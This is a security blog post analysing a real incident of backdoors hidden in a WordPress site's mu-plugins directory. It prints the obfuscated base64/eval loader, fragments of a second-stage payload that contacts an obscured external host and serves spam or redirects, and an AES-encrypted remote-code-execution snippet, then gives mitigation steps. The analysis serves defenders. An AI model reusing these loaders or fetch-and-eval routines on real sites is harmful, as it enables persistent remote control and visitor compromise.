At Sucuri, we often encounter cases where malware is deeply embedded in websites, hidden in files and scripts that can easily escape detection. In this article, we’ll walk you through a real-life incident where a customer contacted us about unusual behavior on their WordPress website. After a detailed investigation, we uncovered multiple backdoors allowing attackers to execute malicious code remotely.
What was discovered?
During our scan, we found a suspicious file located in /wp-content/mu-plugins/index.php.
What are mu-plugins in WordPress?
mu-plugins (Must-Use Plugins) is a special directory in WordPress located at:
/wp-content/mu-plugins/
Unlike regular plugins, must-use plugins are automatically loaded on every page load, without needing activation or appearing in the standard plugin list. Attackers exploit this directory to maintain persistence and evade detection, as files placed here execute automatically and are not easily disabled from the WordPress admin panel. This makes it an ideal location for backdoors, allowing attackers to execute malicious code stealthily.
The file contained the following obfuscated PHP code:
<?php $a = 'ba'.'se' . '64_de'.'co'.'de'; $get_file = $a('ZmlsZV9nZXRfY29udGVudHM=', true); $wp_get_content = $get_file($_SERVER['DOCUMENT_ROOT']. '/' .call_user_func($a, 'd3AtY29udGVudC91cGxvYWRzLzIwMjQvMTIvaW5kZXgudHh0')); $final = $a($wp_get_content, true); eval('?>'.$final); ?>
Here’s the decoded version of this code:
<?php $a = 'ba'.'se' . '64_de'.'co'.'de'; $get_file = $a('file_get_contents', true); $wp_get_content = $get_file($_SERVER['DOCUMENT_ROOT']. '/' .call_user_func($a, 'wp-content/uploads/2024/12/index.txt')); $final = $a($wp_get_content, true); eval('?>'.$final); ?>
This PHP code is designed to execute a hidden payload stored in a file on the server. It is used to read the contents of a specific file. The exact path to this file is obfuscated using base64 encoding, which, when decoded, points to a file /wp-content/uploads/2024/12/index.txt.
Once the contents of this file are retrieved, the resulting PHP code is executed using eval(). This technique allows attackers to inject and execute arbitrary code while keeping the actual payload hidden in an external file, making detection more difficult.
This file /wp-content/uploads/2024/12/index.txt contained an additional layer of obfuscated PHP code, which, once decoded, revealed another base64-encoded payload designed to execute arbitrary commands on the compromised website.
Here’s the explanation after decoding it:
It begins by decoding a URL-encoded string and determining whether the connection is using HTTPS or HTTP. Based on this information, it constructs a URL by appending the decoded string ($xmlname) with additional parameters.
$xmlname = urldecode('162-er103-1.ivyrebl.fvgr'); $http = is_https() ? 'https' : 'http'; $duri_tmp = drequest_uri(); $duri = empty($duri_tmp) ? '/' : $duri_tmp; $goweb = str_rot13($xmlname); $host = htmlspecialchars(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '', ENT_QUOTES, 'UTF-8'); $lang = htmlspecialchars(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '', ENT_QUOTES, 'UTF-8'); $urlshang = htmlspecialchars(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', ENT_QUOTES, 'UTF-8'); $web1 = $http . '://' . $goweb . '/index.php'; $web = $web1 . '?web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
The code then sends a request to an external server with the constructed URL. Then a function doutdo() tries to fetch content from the constructed URL. The function first attempts to use file_get_contents() with a Googlebot user-agent. If that fails, it falls back on cURL to retrieve the content.
function doutdo($web) { $options = [ "http" => [ "header" => "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" ] ]; $context = stream_context_create($options); $response = @file_get_contents($web, false, $context); if (!$response) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $web); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); if (curl_errno($ch)) { echo 'cURL Error: 0'; exit; } curl_close($ch); } return $response; }
It checks if robots.txt exists. If it doesn’t, it creates one with default content allowing all user-agents to crawl the website and adds sitemap entries for search engines.
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt'; if (!file_exists($robotsPath)) { $uniqueNumbers = [1,2,3,4,5]; $defaultContent = "User-agent: *\nAllow: /\n"; foreach ($uniqueNumbers as $number) { $defaultContent .= "Sitemap: {$http}://{$host}/sitemap-{$number}.xml\n"; } file_put_contents($robotsPath, $defaultContent); }
Once the content is fetched, the script inspects it for specific markers, such as ‘nobotuseragent’. If such a marker is not found, the content is processed using the handle_content() function. This function checks for other markers within the content, like ‘okhtmlgetcontent’, ‘okxmlgetcontent’, or error page markers like ‘getcontent500page’ and ‘getcontent404page’. Depending on the presence of these markers, the script may serve HTML, XML, or error pages, or even perform a redirection.
Finally, the ping_sitemap() function is used to “ping” external URLs, which likely represent sitemaps. This is done by making HTTP requests to those URLs and checking the responses.
function handle_content($html_content) { if (strstr($html_content, 'okhtmlgetcontent')) { header("Content-type: text/html; charset=utf-8"); echo str_replace("okhtmlgetcontent", '', $html_content); exit(); } elseif (strstr($html_content, 'okxmlgetcontent')) { header("Content-type: text/xml"); echo str_replace("okxmlgetcontent", '', $html_content); exit(); } elseif (strstr($html_content, 'pingxmlgetcontent')) { header("Content-type: text/html; charset=utf-8"); echo ping_sitemap(str_replace("pingxmlgetcontent", '', $html_content)); exit(); } elseif (strstr($html_content, 'getcontent500page')) { header('HTTP/1.1 500 Internal Server Error'); exit(); } elseif (strstr($html_content, 'getcontent404page')) { header('HTTP/1.1 404 Not Found'); exit(); } elseif (strstr($html_content, 'getcontent301page')) { header('Location: ' . str_replace("getcontent301page", '', $html_content)); exit(); } }
Discovery of the Malware
Further investigation revealed another malicious file, /wp-content/mu-plugins/test-mu-plugin.php. This file contained highly obfuscated code. The script starts by defining an array where each key-value pairs most of which appear to be non-functional or placeholders. Next, the script constructs a string by concatenating values from the array using the keys:
$keys = ['b6a4', 'a9bc', '8d6a', '7e6c']; $_11f9 = $_6f1e[$keys[0]] . $_6f1e[$keys[1]] . $_6f1e[$keys[2]] . $_6f1e[$keys[3]]; define("Zz8x7Y", $_11f9);
The malicious code decrypts the string $_7a5b using AES-128-CBC with the generated key.
It uses curl to fetch a decrypted URL (likely controlled by the attacker) and retrieves the response.
The response from the attacker’s server is executed using eval(), allowing them to run any PHP code remotely.
$_7a5b = "l2UDM/1kihg+Pd50dO3hKCkDZKCBzafIvVT20a6iA3JU8Hmvdc+zphRjWcyXRbEW4n6ugXy8H6KHD6EORd6KZK9eDHCvbL8a+3KF3H74dDY=";
function zwxyb($_7a5b, $_11f9) { return openssl_decrypt( $_7a5b, 'AES-128-CBC', substr(hash('sha256', $_11f9, true), 0, 16), 0, substr(hash('md5', $_11f9, true), 0, 16) ); }
How the Attacker Used These Backdoors
The attackers installed multiple backdoors to ensure persistence. These files allowed them to:
- Remotely execute arbitrary PHP code: By decoding and evaluating payloads fetched from external sources.
- Encrypt communications: By using AES encryption, the attackers concealed malicious URLs and commands, making detection harder.
- Maintain control: The use of multiple backdoors meant that even if one was discovered, others could be used to regain access.
Potential Impact of the Malware
The malware allows attackers to execute arbitrary code on the server, potentially leading to full system control, data theft, and the installation of additional malicious software. Attackers can modify the website’s content, inject malicious scripts (e.g., XSS), or redirect traffic, harming the site’s reputation and potentially infecting visitors.
This malware can be used to steal sensitive data or escalate privileges on the server, allowing attackers to access more resources or propagate the infection across connected systems.
Conclusion
The case highlights the importance of regular website scanning and hardening to protect against malware and backdoors. Attackers often rely on obfuscation and multiple persistence mechanisms to retain control over compromised sites.
Mitigation Steps
If you suspect your site is infected with similar backdoors, follow these steps:
- Remove any suspicious files.
- Use a trusted website security scanner like Sucuri SiteCheck to identify other infected files.
- Prevent PHP execution in the uploads directory by adding this to an .htaccess file:
<FilesMatch "\.php$"> Deny from all </FilesMatch>
- Reset all passwords for WordPress admin users, FTP, database, and hosting control panels.
- Update WordPress core, plugins, and themes.
- Install a security plugin to monitor for file changes and unusual activity.